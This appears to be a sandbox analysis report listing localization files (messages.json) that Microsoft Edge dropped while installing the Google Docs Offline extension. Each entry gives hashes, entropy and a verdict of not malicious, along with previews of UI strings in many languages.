Preview:	{.. "createnew": {.. "message": "NEU ERSTELLEN".. },.. "explanationofflinedisabled": {.. "message": "Sie sind offline. Um Google Docs ohne Internetverbindung zu verwenden, gehen Sie auf der Google Docs-Startseite auf \"Einstellungen\" und schalten die Offlinesynchronisierung ein, wenn Sie das n.chste Mal mit dem Internet verbunden sind.".. },.. "explanationofflineenabled": {.. "message": "Sie sind offline, aber k.nnen weiterhin verf.gbare Dateien bearbeiten oder neue Dateien erstellen.".. },.. "extdesc": {.. "message": "Mit der Erweiterung k.nnen Sie Dokumente, Tabellen und Pr.sentationen bearbeiten, erstellen und aufrufen.. ganz ohne Internetverbindung.".. },.. "extname": {.. "message": "Google Docs Offline".. },.. "learnmore": {.. "message": "Weitere Informationen".. },.. "popuphelptext": {.. "message": "Mit oder ohne Internetverbindung: Sie k.nnen von .berall Dokumente erstellen, .ndern und zusammen mit anderen

C:\Users\user\AppData\Local\Temp\scoped_dir8136_224931456\CRX_INSTALL\_locales\el\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1613
Entropy (8bit):	4.618182455684241
Encrypted:	false
SSDEEP:	24:1HAJKan4EITDZGoziRAc2Z8eEfkTJfLhGX7b0UBNoAcGpVyhxefSmuq:SKzTD0IK85JlwsGOUyaSk
MD5:	9ABA4337C670C6349BA38FDDC27C2106
SHA1:	1FC33BE9AB4AD99216629BC89FBB30E7AA42B812
SHA-256:	37CA6AB271D6E7C9B00B846FDB969811C9CE7864A85B5714027050795EA24F00
SHA-512:	8564F93AD8485C06034A89421CE74A4E719BBAC865E33A7ED0B87BAA80B7F7E54B240266F2EDB595DF4E6816144428DB8BE18A4252CBDCC1E37B9ECC9F9D7897
Malicious:	false
Preview:	{.. "createnew": {.. "message": ".......... ....".. },.. "explanationofflinedisabled": {.. "message": "..... ..... ......... ... .. ............... .. ....... Google ..... ....... ... ........., ......... .... ......... .... ...... ...... ... ........ Google ... ............. ... ........... ..... ........ ... ....... .... ... .. ..... ............ ... ..........".. },.. "explanationofflineenabled": {.. "message": "..... ..... ........ .... ........ .. .............. .. ......... ...... . .. ............. ... .......".. },.. "extdesc": {.. "message": ".............., ............ ... ..... .. ......., .

C:\Users\user\AppData\Local\Temp\scoped_dir8136_224931456\CRX_INSTALL\_locales\en\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	851
Entropy (8bit):	4.4858053753176526
Encrypted:	false
SSDEEP:	12:1HASvgg4eCBxNdN3Pj1NzXW6iFryCBxesJGceKCSUuvNn3AwCBhUufz1tHaXRdAv:1HA3dj/BNzXviFrpj4sNQXJezAa6
MD5:	07FFBE5F24CA348723FF8C6C488ABFB8
SHA1:	6DC2851E39B2EE38F88CF5C35A90171DBEA5B690
SHA-256:	6895648577286002F1DC9C3366F558484EB7020D52BBF64A296406E61D09599C
SHA-512:	7ED2C8DB851A84F614D5DAF1D5FE633BD70301FD7FF8A6723430F05F642CEB3B1AD0A40DE65B224661C782FFCEC69D996EBE3E5BB6B2F478181E9A07D8CD41F6
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CREATE NEW".. },.. "explanationofflinedisabled": {.. "message": "You're offline. To use Google Docs without an internet connection, go to settings on the Google Docs homepage and turn on offline sync the next time you're connected to the internet.".. },.. "explanationofflineenabled": {.. "message": "You're offline, but you can still edit available files or create new ones.".. },.. "extdesc": {.. "message": "Edit, create, and view your documents, spreadsheets, and presentations . all without internet access.".. },.. "extname": {.. "message": "Google Docs Offline".. },.. "learnmore": {.. "message": "Learn More".. },.. "popuphelptext": {.. "message": "Write, edit, and collaborate wherever you are, with or without an internet connection.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir8136_224931456\CRX_INSTALL\_locales\en_CA\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	851
Entropy (8bit):	4.4858053753176526
Encrypted:	false
SSDEEP:	12:1HASvgg4eCBxNdN3Pj1NzXW6iFryCBxesJGceKCSUuvNn3AwCBhUufz1tHaXRdAv:1HA3dj/BNzXviFrpj4sNQXJezAa6
MD5:	07FFBE5F24CA348723FF8C6C488ABFB8
SHA1:	6DC2851E39B2EE38F88CF5C35A90171DBEA5B690
SHA-256:	6895648577286002F1DC9C3366F558484EB7020D52BBF64A296406E61D09599C
SHA-512:	7ED2C8DB851A84F614D5DAF1D5FE633BD70301FD7FF8A6723430F05F642CEB3B1AD0A40DE65B224661C782FFCEC69D996EBE3E5BB6B2F478181E9A07D8CD41F6
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CREATE NEW".. },.. "explanationofflinedisabled": {.. "message": "You're offline. To use Google Docs without an internet connection, go to settings on the Google Docs homepage and turn on offline sync the next time you're connected to the internet.".. },.. "explanationofflineenabled": {.. "message": "You're offline, but you can still edit available files or create new ones.".. },.. "extdesc": {.. "message": "Edit, create, and view your documents, spreadsheets, and presentations . all without internet access.".. },.. "extname": {.. "message": "Google Docs Offline".. },.. "learnmore": {.. "message": "Learn More".. },.. "popuphelptext": {.. "message": "Write, edit, and collaborate wherever you are, with or without an internet connection.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir8136_224931456\CRX_INSTALL\_locales\en_GB\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	848
Entropy (8bit):	4.494568170878587
Encrypted:	false
SSDEEP:	12:1HASvgg4eCBxNdN3vRyc1NzXW6iFrSCBxesJGceKCSUuvlvOgwCBhUufz1tnaXrQ:1HA3djfR3NzXviFrJj4sJXJ+bA6RM
MD5:	3734D498FB377CF5E4E2508B8131C0FA
SHA1:	AA23E39BFE526B5E3379DE04E00EACBA89C55ADE
SHA-256:	AB5CDA04013DCE0195E80AF714FBF3A67675283768FFD062CF3CF16EDB49F5D4
SHA-512:	56D9C792954214B0DE56558983F7EB7805AC330AF00E944E734340BE41C68E5DD03EDDB17A63BC2AB99BDD9BE1F2E2DA5BE8BA7C43D938A67151082A9041C7BA
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CREATE NEW".. },.. "explanationofflinedisabled": {.. "message": "You're offline. To use Google Docs without an Internet connection, go to settings on the Google Docs homepage and turn on offline sync the next time you're connected to the Internet.".. },.. "explanationofflineenabled": {.. "message": "You're offline, but you can still edit available files or create new ones.".. },.. "extdesc": {.. "message": "Edit, create and view your documents, spreadsheets and presentations . all without Internet access.".. },.. "extname": {.. "message": "Google Docs Offline".. },.. "learnmore": {.. "message": "Learn more".. },.. "popuphelptext": {.. "message": "Write, edit and collaborate wherever you are, with or without an Internet connection.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir8136_224931456\CRX_INSTALL\_locales\en_US\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1425
Entropy (8bit):	4.461560329690825
Encrypted:	false
SSDEEP:	24:1HA6Krbbds5Kna/BNzXviFrpsCxKU4irpNQ0+qWK5yOJAaCB7MAa6:BKrbBs5Kna/BNzXvi3sCxKZirA0jWK5m
MD5:	578215FBB8C12CB7E6CD73FBD16EC994
SHA1:	9471D71FA6D82CE1863B74E24237AD4FD9477187
SHA-256:	102B586B197EA7D6EDFEB874B97F95B05D229EA6A92780EA8544C4FF1E6BC5B1
SHA-512:	E698B1A6A6ED6963182F7D25AC12C6DE06C45D14499DDC91E81BDB35474E7EC9071CFEBD869B7D129CB2CD127BC1442C75E408E21EB8E5E6906A607A3982B212
Malicious:	false
Preview:	{.. "createNew": {.. "description": "Text shown in the extension pop up for creating a new document",.. "message": "CREATE NEW".. },.. "explanationOfflineDisabled": {.. "description": "Text shown in the extension popup when the user is offline and offline is disabled.",.. "message": "You're offline. To use Google Docs without an internet connection, go to settings on the Google Docs homepage and turn on offline sync the next time you're connected to the internet.".. },.. "explanationOfflineEnabled": {.. "description": "Text shown in the extension popup when the user is offline and offline is enabled.",.. "message": "You're offline, but you can still edit available files or create new ones.".. },.. "extDesc": {.. "description": "Extension description",.. "message": "Edit, create, and view your documents, spreadsheets, and presentations . all without internet access.".. },.. "extName": {.. "description": "Extension name",..

C:\Users\user\AppData\Local\Temp\scoped_dir8136_224931456\CRX_INSTALL\_locales\es\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	961
Entropy (8bit):	4.537633413451255
Encrypted:	false
SSDEEP:	12:1HASvggeCBxNFxcw2CVcfamedatqWCCBxeFxCF/m+rWAaFQbCSUuExqIQdO06stp:1HAqn0gcfa9dc/5mCpmIWck02USfWmk
MD5:	F61916A206AC0E971CDCB63B29E580E3
SHA1:	994B8C985DC1E161655D6E553146FB84D0030619
SHA-256:	2008F4FAAB71AB8C76A5D8811AD40102C380B6B929CE0BCE9C378A7CADFC05EB
SHA-512:	D9C63B2F99015355ACA04D74A27FD6B81170750C4B4BE7293390DC81EF4CD920EE9184B05C61DC8979B6C2783528949A4AE7180DBF460A2620DBB0D3FD7A05CF
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CREAR".. },.. "explanationofflinedisabled": {.. "message": "No tienes conexi.n. Para usar Documentos de Google sin conexi.n a Internet, ve a Configuraci.n en la p.gina principal de Documentos de Google y activa la sincronizaci.n sin conexi.n la pr.xima vez que te conectes a Internet.".. },.. "explanationofflineenabled": {.. "message": "No tienes conexi.n. Aun as., puedes crear archivos o editar los que est.n disponibles.".. },.. "extdesc": {.. "message": "Edita, crea y consulta tus documentos, hojas de c.lculo y presentaciones; todo ello, sin acceso a Internet.".. },.. "extname": {.. "message": "Documentos de Google sin conexi.n".. },.. "learnmore": {.. "message": "M.s informaci.n".. },.. "popuphelptext": {.. "message": "Escribe o edita contenido y colabora con otras personas desde cualquier lugar, con o sin conexi.n a Internet.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir8136_224931456\CRX_INSTALL\_locales\es_419\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	959
Entropy (8bit):	4.570019855018913
Encrypted:	false
SSDEEP:	24:1HARn05cfa9dcDmQOTtSprj0zaGUSjSGZ:+n0CfMcDmQOTQprj4qpC
MD5:	535331F8FB98894877811B14994FEA9D
SHA1:	42475E6AFB6A8AE41E2FC2B9949189EF9BBE09FB
SHA-256:	90A560FF82605DB7EDA26C90331650FF9E42C0B596CEDB79B23598DEC1B4988F
SHA-512:	2CE9C69E901AB5F766E6CFC1E592E1AF5A07AA78D154CCBB7898519A12E6B42A21C5052A86783ABE3E7A05043D4BD41B28960FEDDB30169FF7F7FE7208C8CFE9
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CREAR NUEVO".. },.. "explanationofflinedisabled": {.. "message": "No tienes conexi.n. Para usar Documentos de Google sin conexi.n a Internet, ve a la configuraci.n de la p.gina principal de Documentos de Google y activa la sincronizaci.n sin conexi.n la pr.xima vez que est.s conectado a Internet.".. },.. "explanationofflineenabled": {.. "message": "No tienes conexi.n, pero a.n puedes modificar los archivos disponibles o crear otros nuevos.".. },.. "extdesc": {.. "message": "Edita, crea y consulta tus documentos, hojas de c.lculo y presentaciones aunque no tengas acceso a Internet".. },.. "extname": {.. "message": "Documentos de Google sin conexi.n".. },.. "learnmore": {.. "message": "M.s informaci.n".. },.. "popuphelptext": {.. "message": "Escribe, modifica y colabora dondequiera que est.s, con conexi.n a Internet o sin ella.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir8136_224931456\CRX_INSTALL\_locales\et\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	968
Entropy (8bit):	4.633956349931516
Encrypted:	false
SSDEEP:	24:1HA5WG6t306+9sihHvMfdJLjUk4NJPNczGr:mWGY0cOUdJODPmzs
MD5:	64204786E7A7C1ED9C241F1C59B81007
SHA1:	586528E87CD670249A44FB9C54B1796E40CDB794
SHA-256:	CC31B877238DA6C1D51D9A6155FDE565727A1956572F466C387B7E41C4923A29
SHA-512:	44FCF93F3FB10A3DB68D74F9453995995AB2D16863EC89779DB451A4D90F19743B8F51095EEC3ECEF5BD0C5C60D1BF3DFB0D64DF288DCCFBE70C129AE350B2C6
Malicious:	false
Preview:	{.. "createnew": {.. "message": "LOO UUS".. },.. "explanationofflinedisabled": {.. "message": "Teil ei ole v.rgu.hendust. Teenuse Google.i dokumendid kasutamiseks ilma Interneti-.henduseta avage j.rgmine kord, kui olete Internetiga .hendatud, teenuse Google.i dokumendid avalehel seaded ja l.litage sisse v.rgu.henduseta s.nkroonimine.".. },.. "explanationofflineenabled": {.. "message": "Teil ei ole v.rgu.hendust, kuid saate endiselt saadaolevaid faile muuta v.i uusi luua.".. },.. "extdesc": {.. "message": "Saate luua, muuta ja vaadata oma dokumente, arvustustabeleid ning esitlusi ilma Interneti-.henduseta.".. },.. "extname": {.. "message": "V.rgu.henduseta Google.i dokumendid".. },.. "learnmore": {.. "message": "Lisateave".. },.. "popuphelptext": {.. "message": "Kirjutage, muutke ja tehke koost..d .ksk.ik kus olenemata sellest, kas teil on Interneti-.hendus.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir8136_224931456\CRX_INSTALL\_locales\eu\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	838
Entropy (8bit):	4.4975520913636595
Encrypted:	false
SSDEEP:	24:YnmjggqTWngosqYQqE1kjO39m7OddC0vjWQMmWgqwgQ8KLcxOb:Ynmsgqyngosq9qxTOs0vjWQMbgqchb
MD5:	29A1DA4ACB4C9D04F080BB101E204E93
SHA1:	2D0E4587DDD4BAC1C90E79A88AF3BD2C140B53B1
SHA-256:	A41670D52423BA69C7A65E7E153E7B9994E8DD0370C584BDA0714BD61C49C578
SHA-512:	B7B7A5A0AA8F6724B0FA15D65F25286D9C66873F03080CBABA037BDEEA6AADC678AC4F083BC52C2DB01BEB1B41A755ED67BBDDB9C0FE4E35A004537A3F7FC458
Malicious:	false
Preview:	{"createnew":{"message":"SORTU"},"explanationofflinedisabled":{"message":"Ez zaude konektatuta Internetera. Google Dokumentuak konexiorik gabe erabiltzeko, joan Google Dokumentuak zerbitzuaren orri nagusiko ezarpenetara eta aktibatu konexiorik gabeko sinkronizazioa Internetera konektatzen zaren hurrengoan."},"explanationofflineenabled":{"message":"Ez zaude konektatuta Internetera, baina erabilgarri dauden fitxategiak edita ditzakezu, baita beste batzuk sortu ere."},"extdesc":{"message":"Editatu, sortu eta ikusi dokumentuak, kalkulu-orriak eta aurkezpenak Interneteko konexiorik gabe."},"extname":{"message":"Google Dokumentuak konexiorik gabe"},"learnmore":{"message":"Lortu informazio gehiago"},"popuphelptext":{"message":"Edonon zaudela ere, ez duzu zertan konektatuta egon idatzi, editatu eta lankidetzan jardun ahal izateko."}}.

C:\Users\user\AppData\Local\Temp\scoped_dir8136_224931456\CRX_INSTALL\_locales\fa\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1305
Entropy (8bit):	4.673517697192589
Encrypted:	false
SSDEEP:	24:1HAX9yM7oiI99Rwx4xyQakJbfAEJhmq/RlBu92P7FbNcgYVJ0:JM7ovex4xyQaKjAEyq/p7taX0
MD5:	097F3BA8DE41A0AAF436C783DCFE7EF3
SHA1:	986B8CABD794E08C7AD41F0F35C93E4824AC84DF
SHA-256:	7C4C09D19AC4DA30CC0F7F521825F44C4DFBC19482A127FBFB2B74B3468F48F1
SHA-512:	8114EA7422E3B20AE3F08A3A64A6FFE1517A7579A3243919B8F789EB52C68D6F5A591F7B4D16CEE4BD337FF4DAF4057D81695732E5F7D9E761D04F859359FADB
Malicious:	false
Preview:	{.. "createnew": {.. "message": "..... ... ....".. },.. "explanationofflinedisabled": {.. "message": "...... ...... .... ....... .. ....... Google .... ..... ........ .... ... .. .. ....... ... ..... .. ....... .. .... .... ....... Google ..... . .......... ...... .. .... .....".. },.. "explanationofflineenabled": {.. "message": "...... ..... ... ...... ......... ......... .. .. .. ..... ..... ...... .... .. ........ ..... ..... .....".. },.. "extdesc": {.. "message": "...... ............ . ........ .. ....... ..... . ...... .... . ... ... ..... .... ...... .. ........".. },.. "extname": {.. "message": "....... Google .

C:\Users\user\AppData\Local\Temp\scoped_dir8136_224931456\CRX_INSTALL\_locales\fi\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	911
Entropy (8bit):	4.6294343834070935
Encrypted:	false
SSDEEP:	12:1HASvguCBxNMME2BESA7gPQk36xCBxeMMcXYBt+CSU1pfazCBhUunV1tLaX5GI2N:1HAVioESAsPf36O3Xst/p3J8JeEY
MD5:	B38CBD6C2C5BFAA6EE252D573A0B12A1
SHA1:	2E490D5A4942D2455C3E751F96BD9960F93C4B60
SHA-256:	2D752A5DBE80E34EA9A18C958B4C754F3BC10D63279484E4DF5880B8FD1894D2
SHA-512:	6E65207F4D8212736059CC802C6A7104E71A9CC0935E07BD13D17EC46EA26D10BC87AD923CD84D78781E4F93231A11CB9ED8D3558877B6B0D52C07CB005F1C0C
Malicious:	false
Preview:	{.. "createnew": {.. "message": "LUO UUSI".. },.. "explanationofflinedisabled": {.. "message": "Olet offline-tilassa. Jos haluat k.ytt.. Google Docsia ilman internetyhteytt., siirry Google Docsin etusivulle ja ota asetuksissa k.ytt..n offline-synkronointi, kun seuraavan kerran olet yhteydess. internetiin.".. },.. "explanationofflineenabled": {.. "message": "Olet offline-tilassa. Voit kuitenkin muokata k.ytett.viss. olevia tiedostoja tai luoda uusia.".. },.. "extdesc": {.. "message": "Muokkaa, luo ja katso dokumentteja, laskentataulukoita ja esityksi. ilman internetyhteytt..".. },.. "extname": {.. "message": "Google Docsin offline-tila".. },.. "learnmore": {.. "message": "Lis.tietoja".. },.. "popuphelptext": {.. "message": "Kirjoita, muokkaa ja tee yhteisty.t. paikasta riippumatta, my.s ilman internetyhteytt..".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir8136_224931456\CRX_INSTALL\_locales\fil\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	939
Entropy (8bit):	4.451724169062555
Encrypted:	false
SSDEEP:	24:1HAXbH2eZXn6sjLITdRSJpGL/gWFJ3sqixO:ubHfZqsHIT/FLL3qO
MD5:	FCEA43D62605860FFF41BE26BAD80169
SHA1:	F25C2CE893D65666CC46EA267E3D1AA080A25F5B
SHA-256:	F51EEB7AAF5F2103C1043D520E5A4DE0FA75E4DC375E23A2C2C4AFD4D9293A72
SHA-512:	F66F113A26E5BCF54B9AAFA69DAE3C02C9C59BD5B9A05F829C92AF208C06DC8CCC7A1875CBB7B7CE425899E4BA27BFE8CE2CDAF43A00A1B9F95149E855989EE0
Malicious:	false
Preview:	{.. "createnew": {.. "message": "GUMAWA NG BAGO".. },.. "explanationofflinedisabled": {.. "message": "Naka-offline ka. Upang magamit ang Google Docs nang walang koneksyon sa internet, pumunta sa mga setting sa homepage ng Google Docs at i-on ang offline na pag-sync sa susunod na nakakonekta ka sa internet.".. },.. "explanationofflineenabled": {.. "message": "Naka-offline ka, ngunit maaari mo pa ring i-edit ang mga available na file o gumawa ng mga bago.".. },.. "extdesc": {.. "message": "I-edit, gawin, at tingnan ang iyong mga dokumento, spreadsheet, at presentation . lahat ng ito nang walang access sa internet.".. },.. "extname": {.. "message": "Google Docs Offline".. },.. "learnmore": {.. "message": "Matuto Pa".. },.. "popuphelptext": {.. "message": "Magsulat, mag-edit at makipag-collaborate nasaan ka man, nang mayroon o walang koneksyon sa internet.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir8136_224931456\CRX_INSTALL\_locales\fr\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	977
Entropy (8bit):	4.622066056638277
Encrypted:	false
SSDEEP:	24:1HAdy42ArMdsH50Jd6Z1PCBolXAJ+GgNHp0X16M1J1:EyfArMS2Jd6Z1PCBolX2+vNmX16Y1
MD5:	A58C0EEBD5DC6BB5D91DAF923BD3A2AA
SHA1:	F169870EEED333363950D0BCD5A46D712231E2AE
SHA-256:	0518287950A8B010FFC8D52554EB82E5D93B6C3571823B7CECA898906C11ABCC
SHA-512:	B04AFD61DE490BC838354E8DC6C22BE5C7AC6E55386FFF78489031ACBE2DBF1EAA2652366F7A1E62CE87CFCCB75576DA3B2645FEA1645B0ECEB38B1FA3A409E8
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CR.ER".. },.. "explanationofflinedisabled": {.. "message": "Vous .tes hors connexion. Pour pouvoir utiliser Google.Docs sans connexion Internet, acc.dez aux param.tres de la page d'accueil de Google.Docs et activez la synchronisation hors connexion lors de votre prochaine connexion . Internet.".. },.. "explanationofflineenabled": {.. "message": "Vous .tes hors connexion, mais vous pouvez quand m.me modifier les fichiers disponibles ou cr.er des fichiers.".. },.. "extdesc": {.. "message": "Modifiez, cr.ez et consultez des documents, feuilles de calcul et pr.sentations, sans acc.s . Internet.".. },.. "extname": {.. "message": "Google.Docs hors connexion".. },.. "learnmore": {.. "message": "En savoir plus".. },.. "popuphelptext": {.. "message": "R.digez des documents, modifiez-les et collaborez o. que vous soyez, avec ou sans connexion Internet.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir8136_224931456\CRX_INSTALL\_locales\fr_CA\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	972
Entropy (8bit):	4.621319511196614
Encrypted:	false
SSDEEP:	24:1HAdyg2pwbv1V8Cd61PC/vT2fg3YHDyM1J1:EyHpwbpd61C/72Y3YOY1
MD5:	6CAC04BDCC09034981B4AB567B00C296
SHA1:	84F4D0E89E30ED7B7ACD7644E4867FFDB346D2A5
SHA-256:	4CAA46656ECC46A420AA98D3307731E84F5AC1A89111D2E808A228C436D83834
SHA-512:	160590B6EC3DCF48F3EA7A5BAA11A8F6FA4131059469623E00AD273606B468B3A6E56D199E97DAA0ECB6C526260EBAE008570223F2822811F441D1C900DC33D6
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CR.ER".. },.. "explanationofflinedisabled": {.. "message": "Vous .tes hors connexion. Pour utiliser Google.Documents sans connexion Internet, acc.dez aux param.tres sur la page d'accueil Google.Documents et activez la synchronisation hors ligne la prochaine fois que vous .tes connect. . Internet.".. },.. "explanationofflineenabled": {.. "message": "Vous .tes hors connexion, mais vous pouvez toujours modifier les fichiers disponibles ou en cr.er.".. },.. "extdesc": {.. "message": "Modifiez, cr.ez et consultez vos documents, vos feuilles de calcul et vos pr.sentations, le tout sans acc.s . Internet.".. },.. "extname": {.. "message": "Google.Documents hors connexion".. },.. "learnmore": {.. "message": "En savoir plus".. },.. "popuphelptext": {.. "message": ".crivez, modifiez et collaborez o. que vous soyez, avec ou sans connexion Internet.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir8136_224931456\CRX_INSTALL\_locales\gl\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	990
Entropy (8bit):	4.497202347098541
Encrypted:	false
SSDEEP:	12:1HASvggECBxNbWVqMjlMgaPLqXPhTth0CBxebWbMRCSUCjAKFCSIj0tR7tCBhP1l:1HACzWsMlajIhJhHKWbFKFC0tR8oNK5
MD5:	6BAAFEE2F718BEFBC7CD58A04CCC6C92
SHA1:	CE0BDDDA2FA1F0AD222B604C13FF116CBB6D02CF
SHA-256:	0CF098DFE5BBB46FC0132B3CF0C54B06B4D2C8390D847EE2A65D20F9B7480F4C
SHA-512:	3DA23E74CD6CF9C0E2A0C4DBA60301281D362FB0A2A908F39A55ABDCA4CC69AD55638C63CC3BEFD44DC032F9CBB9E2FDC1B4C4ABE292917DF8272BA25B82AF20
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CREAR NOVO".. },.. "explanationofflinedisabled": {.. "message": "Est.s sen conexi.n. Para utilizar Documentos de Google sen conexi.n a Internet, accede .s opci.ns de configuraci.n na p.xina de inicio de Documentos de Google e activa a sincronizaci.n sen conexi.n a pr.xima vez que esteas conectado a Internet.".. },.. "explanationofflineenabled": {.. "message": "Est.s sen conexi.n. A.nda podes editar os ficheiros dispo.ibles ou crear outros novos.".. },.. "extdesc": {.. "message": "Modifica, crea e consulta os teus documentos, follas de c.lculo e presentaci.ns sen necesidade de acceder a Internet.".. },.. "extname": {.. "message": "Documentos de Google sen conexi.n".. },.. "learnmore": {.. "message": "M.is informaci.n".. },.. "popuphelptext": {.. "message": "Escribe, edita e colabora esteas onde esteas, tanto se tes conexi.n a Internet como se non a tes.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir8136_224931456\CRX_INSTALL\_locales\gu\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1658
Entropy (8bit):	4.294833932445159
Encrypted:	false
SSDEEP:	24:1HA3k3FzEVeXWuvLujNzAK11RiqRC2sA0O3cEiZ7dPRFFOPtZdK0A41yG3BczKT3:Q4pE4rCjNjw6/0y+5j8ZHA4PBSKr
MD5:	BC7E1D09028B085B74CB4E04D8A90814
SHA1:	E28B2919F000B41B41209E56B7BF3A4448456CFE
SHA-256:	FE8218DF25DB54E633927C4A1640B1A41B8E6CB3360FA386B5382F833B0B237C
SHA-512:	040A8267D67DB05BBAA52F1FAC3460F58D35C5B73AA76BBF17FA78ACC6D3BFB796A870DD44638F9AC3967E35217578A20D6F0B975CEEEEDBADFC9F65BE7E72C9
Malicious:	false
Preview:	{.. "createnew": {.. "message": ".... .....".. },.. "explanationofflinedisabled": {.. "message": "... ...... ... ........ ....... ... Google .......... ..... .... ...., ... .... .... ...... ........ .... ...... ... ...... Google ........ ...... .. ........ .. ... ... ...... ....... .... ....".. },.. "explanationofflineenabled": {.. "message": "... ...... .., ..... ... ... .. ...... ..... ....... ... ... .. .... ... ..... ... ...".. },.. "extdesc": {.. "message": "..... ........., ..

C:\Users\user\AppData\Local\Temp\scoped_dir8136_224931456\CRX_INSTALL\_locales\hi\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1672
Entropy (8bit):	4.314484457325167
Encrypted:	false
SSDEEP:	48:46G2+ymELbLNzGVx/hXdDtxSRhqv7Qm6/7Lm:4GbxzGVzXdDtx+qzU/7C
MD5:	98A7FC3E2E05AFFFC1CFE4A029F47476
SHA1:	A17E077D6E6BA1D8A90C1F3FAF25D37B0FF5A6AD
SHA-256:	D2D1AFA224CDA388FF1DC8FAC24CDA228D7CE09DE5D375947D7207FA4A6C4F8D
SHA-512:	457E295C760ABFD29FC6BBBB7FC7D4959287BCA7FB0E3E99EB834087D17EED331DEF18138838D35C48C6DDC8A0134AFFFF1A5A24033F9B5607B355D3D48FDF88
Malicious:	false
Preview:	{.. "createnew": {.. "message": "... .....".. },.. "explanationofflinedisabled": {.. "message": ".. ...... .... ....... ....... .. .... Google ........ .. ..... .... .. ..., .... ... ....... .. ...... .... .. Google ........ .. ........ .. ...... ... .... .. ...... ....... .... .....".. },.. "explanationofflineenabled": {.. "message": ".. ...... ..., ..... .. .. .. ...... ...... ..... .. .... ... .. .. ...... ... .... ....".. },.. "extdesc": {.. "message": ".... .... ....... ...... ..

C:\Users\user\AppData\Local\Temp\scoped_dir8136_224931456\CRX_INSTALL\_locales\hr\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	935
Entropy (8bit):	4.6369398601609735
Encrypted:	false
SSDEEP:	24:1HA7sR5k/I+UX/hrcySxG1fIZ3tp/S/d6Gpb+D:YsE/I+UX/hVSxQ03f/Sj+D
MD5:	25CDFF9D60C5FC4740A48EF9804BF5C7
SHA1:	4FADECC52FB43AEC084DF9FF86D2D465FBEBCDC0
SHA-256:	73E6E246CEEAB9875625CD4889FBF931F93B7B9DEAA11288AE1A0F8A6E311E76
SHA-512:	EF00B08496427FEB5A6B9FB3FE2E5404525BE7C329D9DD2A417480637FD91885837D134A26980DCF9F61E463E6CB68F09A24402805807E656AF16B116A75E02C
Malicious:	false
Preview:	{.. "createnew": {.. "message": "IZRADI NOVI".. },.. "explanationofflinedisabled": {.. "message": "Vi ste izvan mre.e. Da biste koristili Google dokumente bez internetske veze, idite na postavke na po.etnoj stranici Google dokumenata i uklju.ite izvanmre.nu sinkronizaciju sljede.i put kada se pove.ete s internetom.".. },.. "explanationofflineenabled": {.. "message": "Vi ste izvan mre.e, no i dalje mo.ete ure.ivati dostupne datoteke i izra.ivati nove.".. },.. "extdesc": {.. "message": "Uredite, izradite i pregledajte dokumente, prora.unske tablice i prezentacije . sve bez pristupa internetu.".. },.. "extname": {.. "message": "Google dokumenti izvanmre.no".. },.. "learnmore": {.. "message": "Saznajte vi.e".. },.. "popuphelptext": {.. "message": "Pi.ite, ure.ujte i sura.ujte gdje god se nalazili, povezani s internetom ili izvanmre.no.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir8136_224931456\CRX_INSTALL\_locales\hu\messages.json

